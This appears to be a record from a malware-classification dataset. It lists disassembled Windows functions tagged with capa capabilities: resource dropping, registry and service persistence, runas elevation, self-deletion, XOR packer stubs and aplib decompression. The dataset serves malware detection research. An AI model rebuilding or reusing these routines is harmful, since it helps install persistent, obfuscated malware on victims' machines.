joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jl 0x401054
push 0x411ba8
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
push 0x411ba8
push str.App_Data_Path___s_
call fcn.00401b89
add esp, 8
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401b65
mov esp, ebp
pop ebp
ret

Function at 0x401070
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x40ed90
push 0x6d
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x10], 0
jne 0x4010d7
push str.Unpack_Client_Failed_n
call fcn.00401b89
add esp, 4
xor al, al
jmp 0x401165
call fcn.00401000
push str.NamInstall.exe
push 0x411ba8
call fcn.00401af0
add esp, 8
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push 0x411ba8
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x40114f
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
push eax
push str.Create_file___d_n
call fcn.00401b89
add esp, 8
push 0
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x401165
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.UnPackClient_Failed___d_n
call fcn.00401b89
add esp, 8
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401b65
mov esp, ebp
pop ebp
ret
Function at 0x401180
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x20]
push eax
push 0
push 0x20206
push 0
push 0
push 0
push str.SOFTWARENamClient
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x401314
mov byte [ebp - 0x1c], 0
xor ecx, ecx
mov dword [ebp - 0x1b], ecx
mov dword [ebp - 0x17], ecx
mov dword [ebp - 0x13], ecx
mov dword [ebp - 0xf], ecx
mov dword [ebp - 0xb], ecx
mov word [ebp - 7], cx
mov byte [ebp - 5], cl
mov dword [ebp - 0x30], 0
push 0x40ee00
push str.HF_MACRO_DOMAIN_START_XXXX_XXXX_XXXX_XXXX_HF_MACRO_DOMAIN_END
call fcn.00401b50
add esp, 8
test eax, eax
jne 0x4012cf
push 0x40ee14
push str.HF_MACRO_DOMAIN_START_XXXX_XXXX_XXXX_XXXX_HF_MACRO_DOMAIN_END
call fcn.00401b50
add esp, 8
test eax, eax
je 0x4012cf
push 0x40ee18
push str.HF_MACRO_DOMAIN_START_XXXX_XXXX_XXXX_XXXX_HF_MACRO_DOMAIN_END
call fcn.00401b50
add esp, 8
mov dword [ebp - 0x34], eax
push 0x40ee1c
push str.HF_MACRO_DOMAIN_START_XXXX_XXXX_XXXX_XXXX_HF_MACRO_DOMAIN_END
call fcn.00401b50
add esp, 8
mov dword [ebp - 0x48], eax
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
add eax, 1
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x2c]
mov dl, byte [ecx]
mov byte [ebp - 0x22], dl
add dword [ebp - 0x2c], 1
cmp byte [ebp - 0x22], 0
jne 0x401265
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x4c]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x28]
add edx, 1
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x28]
mov cl, byte [eax]
mov byte [ebp - 0x21], cl
add dword [ebp - 0x28], 1
cmp byte [ebp - 0x21], 0
jne 0x40128f
mov edx, dword [ebp - 0x28]
sub edx, dword [ebp - 0x44]
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x40]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
sub ecx, 1
push ecx
mov edx, dword [ebp - 0x34]
add edx, 1
push edx
lea eax, [ebp - 0x1c]
push eax
call fcn.00408940
add esp, 0xc
jmp 0x4012dd
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
jmp 0x401323
mov edx, dword [ebp - 0x30]
push edx
lea eax, [ebp - 0x1c]
push eax
push 1
push 0
push 0x40ee20
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40130a
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
jmp 0x401323
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.WriteDomain_Failed_n
call fcn.00401b89
add esp, 4
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401b65
mov esp, ebp
pop ebp
ret
Function at 0x401340
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x20]
push eax
push 0
push 0x20206
push 0
push 0
push 0
push 0x40ee40
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x4014d4
mov byte [ebp - 0x1c], 0
xor ecx, ecx
mov dword [ebp - 0x1b], ecx
mov dword [ebp - 0x17], ecx
mov dword [ebp - 0x13], ecx
mov dword [ebp - 0xf], ecx
mov dword [ebp - 0xb], ecx
mov word [ebp - 7], cx
mov byte [ebp - 5], cl
mov dword [ebp - 0x30], 0
push str.XXXX_XXXX_XXXX_XXXX
push str.HF_MACRO_SERVER_START_XXXX_XXXX_XXXX_XXXX_HF_MACRO_SERVER_END
call fcn.00401b50
add esp, 8
test eax, eax
jne 0x40148f
push 0x40ee84
push str.HF_MACRO_SERVER_START_XXXX_XXXX_XXXX_XXXX_HF_MACRO_SERVER_END
call fcn.00401b50
add esp, 8
test eax, eax
je 0x40148f
push 0x40ee88
push str.HF_MACRO_SERVER_START_XXXX_XXXX_XXXX_XXXX_HF_MACRO_SERVER_END
call fcn.00401b50
add esp, 8
mov dword [ebp - 0x34], eax
push 0x40ee8c
push str.HF_MACRO_SERVER_START_XXXX_XXXX_XXXX_XXXX_HF_MACRO_SERVER_END
call fcn.00401b50
add esp, 8
mov dword [ebp - 0x48], eax
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
add eax, 1
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x2c]
mov dl, byte [ecx]
mov byte [ebp - 0x22], dl
add dword [ebp - 0x2c], 1
cmp byte [ebp - 0x22], 0
jne 0x401425
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x4c]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x28]
add edx, 1
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x28]
mov cl, byte [eax]
mov byte [ebp - 0x21], cl
add dword [ebp - 0x28], 1
cmp byte [ebp - 0x21], 0
jne 0x40144f
mov edx, dword [ebp - 0x28]
sub edx, dword [ebp - 0x44]
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x40]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
sub ecx, 1
push ecx
mov edx, dword [ebp - 0x34]
add edx, 1
push edx
lea eax, [ebp - 0x1c]
push eax
call fcn.00408940
add esp, 0xc
jmp 0x40149d
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
jmp 0x4014e3
mov edx, dword [ebp - 0x30]
push edx
lea eax, [ebp - 0x1c]
push eax
push 1
push 0
push 0x40ee90
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x4014ca
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
jmp 0x4014e3
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.WriteAuxServerIp_Failed_n
call fcn.00401b89
add esp, 4
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401b65
mov esp, ebp
pop ebp
ret
Function at 0x4017e0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x4a0], 0
push 0x3ff
push 0
lea eax, [ebp - 0x49f]
push eax
call fcn.00405dd0
add esp, 0xc
mov dword [ebp - 0xa0], 0x9c
lea ecx, [ebp - 0xa0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x40182f
xor al, al
jmp 0x40183e
cmp dword [ebp - 0x9c], 5
jbe 0x40183c
mov al, 1
jmp 0x40183e
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401b65
mov esp, ebp
pop ebp
ret

Function at 0x401850
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.004017e0
movzx eax, al
test eax, eax
je 0x4018fe
mov dword [ebp - 0x40], 0x3c
push 0x38
push 0
lea ecx, [ebp - 0x3c]
push ecx
call fcn.00405dd0
add esp, 0xc
mov dword [ebp - 0x3c], 0x40
mov dword [ebp - 0x34], str.runas
mov dword [ebp - 0x30], 0x411ba8
mov dword [ebp - 0x28], 0x40ed8f
mov edx, dword [ebp + 8]
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x24], 1
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x4018fa
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0x4c7
jne 0x4018e3
push 0x40eefc
call fcn.00401b89
add esp, 4
xor al, al
jmp 0x40191a
cmp dword [ebp - 0x44], 2
jne 0x4018fa
push 0x40ef10
call fcn.00401b89
add esp, 4
xor al, al
jmp 0x40191a
mov al, 1
jmp 0x40191a
push 1
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0x411ba8
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401b65
mov esp, ebp
pop ebp
ret
Function at 0x401930
Capabilities:
Delete file
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0xc], 1
jmp 0x401959
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp + 8]
jge 0x401a76
push str._server
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4]
push ecx
call fcn.004022b8
add esp, 8
test eax, eax
jne 0x401a4a
mov edx, dword [ebp - 0xc]
add edx, 1
cmp edx, dword [ebp + 8]
jne 0x401993
jmp 0x401950
push 0x40ef38
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call fcn.004022b8
add esp, 8
test eax, eax
jne 0x4019b1
jmp 0x401950
mov dword [ebp - 8], 0
mov dword [ebp - 0x18], 0
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0x20206
push 0
push 0
push 0
push str.SYSTEMCurrentControlSetServicesNamSvcNAM
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x401a48
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4 + 4]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x14]
mov al, byte [edx]
mov byte [ebp - 0xd], al
add dword [ebp - 0x14], 1
cmp byte [ebp - 0xd], 0
jne 0x401a01
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x20]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
push 1
push 0
push str.Server
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x401a71
push 0x40ef74
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4]
push ecx
call fcn.004022b8
add esp, 8
test eax, eax
jne 0x401a71
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4]
mov dword [ebp - 0x1c], ecx
jmp 0x401950
call fcn.00401070
movzx edx, al
test edx, edx
jne 0x401a87
or eax, 0xffffffff
jmp 0x401ad3
call fcn.00401180
movzx eax, al
test eax, eax
jne 0x401a98
or eax, 0xffffffff
jmp 0x401ad3
call fcn.00401340
movzx ecx, al
test ecx, ecx
jne 0x401aa9
or eax, 0xffffffff
jmp 0x401ad3
call fcn.00401500
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00401850
add esp, 4
movzx eax, al
test eax, eax
jne 0x401ac6
or eax, 0xffffffff
jmp 0x401ad3
push 0x411ba8
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401b65
mov esp, ebp
pop ebp
ret
Function at 0x40963b
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.00405b17
mov dword [ebp - 0x14], eax
cmp dword [0x411b8c], edi
jne 0x40972c
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x4096b9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40980c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x40980c
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40980c
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x411b8c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x411b90], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x411b94], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x411b9c], eax
test eax, eax
je 0x409729
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x411b98], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x409751
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x409744
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x409766
push 4
pop eax
jmp 0x40980e
cmp dword [ebp - 0x14], edi
je 0x409766
push dword [0x411b8c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40974b
mov eax, dword [0x411b98]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x4097c4
cmp dword [0x411b9c], esi
je 0x4097c4
push eax
call ebx
push dword [0x411b9c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4097c4
test eax, eax
je 0x4097c4
call ecx
test eax, eax
je 0x4097b9
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4097b9
test byte [ebp - 8], 1
jne 0x4097c4
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x4097f4
mov eax, dword [0x411b90]
cmp eax, esi
je 0x4097f1
push eax
call ebx
test eax, eax
je 0x4097f1
call eax
mov edi, eax
test edi, edi
je 0x4097f1
mov eax, dword [0x411b94]
cmp eax, esi
je 0x4097f1
push eax
call ebx
test eax, eax
je 0x4097f1
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x411b8c]
call ebx
test eax, eax
je 0x40980c
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x40980e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401b65
leave
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x321b2ab8
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x432024
nop
mov eax, section..reloc
nop
mov ebx, 0x42f314
nop
mov ecx, 0x3e402df8
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x1176058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x11761a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x117607e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x117606a
add dl, dl
jne 0x1176089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x11760dc
xor eax, eax
add dl, dl
jne 0x1176096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x117617d
add dl, dl
jne 0x11760a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x11760b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x11760bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x11760c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x11760d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1176075
mov eax, 1
add dl, dl
jne 0x11760ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x11760f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x11760e1
sub eax, ebx
mov ebx, 1
jne 0x1176128
mov ecx, 1
add dl, dl
jne 0x117610e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1176119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1176105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1176075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x117613f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x117614a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1176136
cmp eax, 0x7d00
jae 0x117616d
cmp eax, 0x500
jb 0x1176168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1176075
cmp eax, 0x7f
ja 0x1176170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1176075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x117619e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1176075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x7ad16fbe
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e04e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42cd70
nop
mov ecx, 0x31d929b6
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e084
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x4011a2
Capabilities:
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb0
push 0
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x3ff
push 0x40b6b0
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
jne 0x4011e5
mov eax, dword [0x405018]
imul eax, dword [0x405018]
sub eax, 3
mov dword [0x405014], eax
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov eax, dword [0x405014]
imul eax, dword [0x405018]
mov ecx, dword [0x405018]
imul ecx, ecx, 5
sub eax, ecx
mov dword [0x405014], eax
push 0x40b6b0
call section..text
pop ecx
mov dword [ebp - 4], eax
mov eax, dword [0x405018]
add eax, 8
mov dword [0x405018], eax
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push 0x40b6b0
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0xac], eax
mov eax, dword [0x405018]
shl eax, 3
mov dword [0x405018], eax
cmp dword [ebp - 0xac], 0xffffffff
je 0x4013bf
push 2
push 0
push 0xfffffffffffffff0
push dword [ebp - 0xac]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 0
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
lea eax, [ebp - 8]
push eax
push 4
push 0x40bab8
push dword [ebp - 0xac]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov eax, dword [0x405014]
sub eax, 4
mov dword [0x405018], eax
push 0
lea eax, [ebp - 8]
push eax
push 4
lea eax, [ebp - 0x98]
push eax
push dword [ebp - 0xac]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push 0
lea eax, [ebp - 8]
push eax
push 4
lea eax, [ebp - 0x94]
push eax
push dword [ebp - 0xac]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov eax, dword [0x405018]
imul eax, dword [0x405018]
sub eax, 3
mov dword [0x405014], eax
push 0
lea eax, [ebp - 8]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xac]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov eax, dword [0x405014]
mov ecx, dword [0x405018]
lea eax, [ecx + eax - 9]
mov dword [0x405014], eax
push dword [ebp - 0xc]
push dword [ebp - 0x94]
push dword [ebp - 0x98]
push dword [0x40bab8]
push str._d__d__d__d
lea eax, [ebp - 0x8c]
push eax
call fcn.0040378b
add esp, 0x18
cmp dword [ebp - 0xc], 0x221c
jne 0x401379
mov eax, dword [ebp - 0x94]
mov dword [0x40500c], eax
mov eax, dword [0x405018]
shl eax, 1
mov dword [0x405014], eax
mov eax, dword [ebp - 0x98]
mov dword [0x405008], eax
mov eax, dword [0x405014]
mov ecx, dword [0x405018]
lea eax, [ecx + eax - 9]
mov dword [0x405014], eax
jmp 0x401395
mov eax, dword [0x405018]
imul eax, dword [0x405018]
sub eax, 3
mov dword [0x405014], eax
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push 0x40bac0
call dword [sym.imp.KERNEL32.DLL_QueryPerformanceCounter]
push dword [ebp - 0xac]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [0x405018]
xor edx, edx
push 0xc
pop ecx
div ecx
mov dword [0x405018], eax
jmp 0x4013ec
mov eax, dword [0x405014]
mov ecx, dword [0x405018]
lea eax, [ecx + eax - 9]
mov dword [0x405014], eax
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov eax, dword [0x405018]
imul eax, dword [0x405018]
sub eax, 3
mov dword [0x405014], eax
leave
ret